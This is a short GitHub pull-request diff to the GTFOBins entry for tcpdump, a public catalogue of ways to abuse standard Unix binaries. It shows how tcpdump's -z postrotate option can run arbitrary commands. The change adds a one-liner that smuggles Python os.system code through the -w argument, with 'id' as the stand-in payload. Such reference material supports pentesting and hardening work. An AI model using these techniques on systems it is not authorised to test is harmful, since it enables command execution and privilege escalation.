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Update tcpdump #455

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6 changes: 5 additions & 1 deletion _gtfobins/tcpdump.md
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Original file line number Diff line number Diff line change
Expand Up @@ -5,12 +5,16 @@ description: |
In recent distributions (e.g., Debian 10 and Ubuntu 18) AppArmor limits the `postrotate-command` to a small subset of predefined commands thus preventing the execution of the following.
functions:
command:
- code: |
- description: This requires several commands.
code: |
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
- descprition: One-liner to run arbitrary command leveraging python argument parser that does not require a space between the option -c and the value.
code: |
tcpdump -ln -i lo -w -c__import__\(\"os\"\).system\(\"id\"\) -W 1 -G 1 -z /usr/bin/python
sudo:
- code: |
COMMAND='id'
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